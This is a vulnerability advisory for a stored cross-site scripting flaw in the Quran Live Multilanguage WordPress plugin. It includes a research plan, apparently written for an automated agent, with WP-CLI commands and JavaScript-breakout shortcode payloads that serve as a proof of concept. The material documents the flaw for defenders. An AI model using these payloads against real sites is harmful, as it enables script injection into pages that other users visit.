Quran Live Multilanguage <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Quran Live Multilanguage plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'cheikh' and 'lang' shortcode attributes in all versions up to, and including, 1.0.3. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. The quran_live_render() function of quran-live.php receives shortcode attributes and passes them directly through shortcode_atts() and extract() without any sanitization. These values are then passed to Render_Quran_Live::render_verse_quran_live() where they are echoed directly into inline <script> blocks using PHP short tags (<?=$cheikh;?> and <?=$lang;?>) at lines 191, 216, 217, 245, and 246 of Class_QuranLive.php. Since the output occurs inside a JavaScript context within <script> tags, an attacker can break out of the JavaScript string and inject arbitrary script code. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
# Research Plan: CVE-2026-4074 - Quran Live Multilanguage Stored XSS ## 1. Vulnerability Summary The **Quran Live Multilanguage** plugin (<= 1.0.3) is vulnerable to Stored Cross-Site Scripting (XSS) via the `cheikh` and `lang` attributes of its shortcode. The `quran_live_render()` function in `qura…
Show full research plan
Research Plan: CVE-2026-4074 - Quran Live Multilanguage Stored XSS
1. Vulnerability Summary
The Quran Live Multilanguage plugin (<= 1.0.3) is vulnerable to Stored Cross-Site Scripting (XSS) via the cheikh and lang attributes of its shortcode. The quran_live_render() function in quran-live.php fails to sanitize these attributes after extracting them via shortcode_atts(). These unsanitized values are subsequently passed to Render_Quran_Live::render_verse_quran_live() in Class_QuranLive.php, where they are echoed directly into inline <script> blocks using PHP short tags (<?=$cheikh;?> and <?=$lang;?>). Because the values are placed inside a JavaScript context without escaping, an authenticated attacker with Contributor-level permissions (who can create posts containing shortcodes) can inject arbitrary JavaScript that executes in the browser of anyone viewing the post.
2. Attack Vector Analysis
- Authentication Level: Contributor or higher (any role capable of creating/editing posts and using shortcodes).
- Vulnerable Component: Shortcode rendering logic.
- Vulnerable Attributes:
cheikhandlang. - Payload Placement: The malicious payload is placed within the attributes of the
[quran-live]shortcode (exact shortcode name to be verified, inferred asquran-live). - Execution Context: Inline
<script>tags within the HTML frontend.
3. Code Flow
- Entry Point: A user with Contributor permissions saves a post containing a shortcode:
[quran-live cheikh="<PAYLOAD>" lang="<PAYLOAD>"]. - Registration: The plugin registers a shortcode handler (likely
quran_live_render) viaadd_shortcode('quran-live', 'quran_live_render'). - Processing: When the post is viewed, WordPress calls
quran_live_render($atts). - Unsafe Extraction:
quran_live_render()callsshortcode_atts()and thenextract($atts), creating local variables$cheikhand$langcontaining the raw payload. - Vulnerable Sink: These variables are passed to
Render_Quran_Live::render_verse_quran_live($cheikh, $lang, ...). - Output: Inside
Class_QuranLive.php(lines 191, 216, 217, 245, 246), the code uses PHP short tags to echo these variables inside JavaScript blocks:var some_js_variable = '<?=$cheikh;?>'; - Execution: The browser interprets the injected JS breakout (e.g.,
';alert(1)//).
4. Nonce Acquisition Strategy
This vulnerability does not require a specific plugin-defined nonce for exploitation because the "storage" phase uses the standard WordPress post creation/editing flow.
- Post Creation: Contributors use the standard
wp-admin/post-new.phpor the REST API to save posts. This is protected by standard WordPress nonces, which are automatically handled by the browser/agent session when creating a post. - Rendering: There is no nonce required to view a published post or a preview of a post.
5. Exploitation Strategy
Step 1: Create a Contributor User
Use WP-CLI to create a user with the contributor role.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
Step 2: Create a Malicious Post
The contributor creates a post containing the malicious shortcode. We will target the JavaScript string context.
Payloads:
- For
cheikh:';alert(document.domain);var x=' - For
lang:';alert('XSS_LANG');var y='
Exploit Request (via http_request or browser_navigate):
The agent will log in as the contributor and create a post. However, for a PoC, wp post create is more efficient to establish the "Stored" state.
wp post create --post_type=post --post_status=publish --post_title="Quran Live Test" --post_author=$(wp user get attacker --field=ID) --post_content='[quran-live cheikh="\";alert(document.domain)//" lang="\";alert(1)//"]'
(Note: Escaping quotes in the CLI command is critical; the goal is to get [quran-live cheikh="';alert(document.domain)//"] into the database).
Step 3: Trigger the XSS
Navigate to the newly created post as an administrator or anonymous user to trigger the execution.
// Example browser_navigate target
const postUrl = await page.evaluate(() => {
return document.querySelector('a[rel="bookmark"]').href; // or use wp-cli to get the permalink
});
6. Test Data Setup
- Plugin Activation: Ensure
quran-liveis installed and activated. - Post Content: Use the shortcode
[quran-live]. - Shortcode Name Verification: If
quran-liveis not the shortcode, grep the source:grep -r "add_shortcode" /var/www/html/wp-content/plugins/quran-live/.
7. Expected Results
When the page is rendered, the HTML source at Class_QuranLive.php:191 (and other lines) should look like this:
<script>
// ... internal plugin JS ...
var someVar = "";alert(document.domain)//";
</script>
The browser will execute the alert(document.domain) command.
8. Verification Steps
- Database Check: Verify the shortcode is stored correctly in
wp_posts.wp db query "SELECT post_content FROM wp_posts WHERE post_title='Quran Live Test'" - Frontend Inspection: Use
http_requestto fetch the post content and check for the injected script tag.# Look for the breakout pattern in the response grep -C 5 "alert(document.domain)" response_body.html - Execution Check: Use
browser_navigateand check for an alert dialog or a specific side effect (like aconsole.logor a global variable being set).
9. Alternative Approaches
If the plugin attributes are not inside quotes (unlikely for JS variables), the payload would be simpler:
- Payload (No quotes):
alert(1) - Payload (Inside function call):
1);alert(1);(
If the shortcode requires specific setup to render (like a specific post meta), we may need to use wp post generate or wp post-meta set to satisfy quran_live_render's logic.
Grep search for exact JS context:
grep -n "<?=$cheikh;?>" /var/www/html/wp-content/plugins/quran-live/Class_QuranLive.php
This will confirm if we need to break out of single quotes ', double quotes ", or a template literal `.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.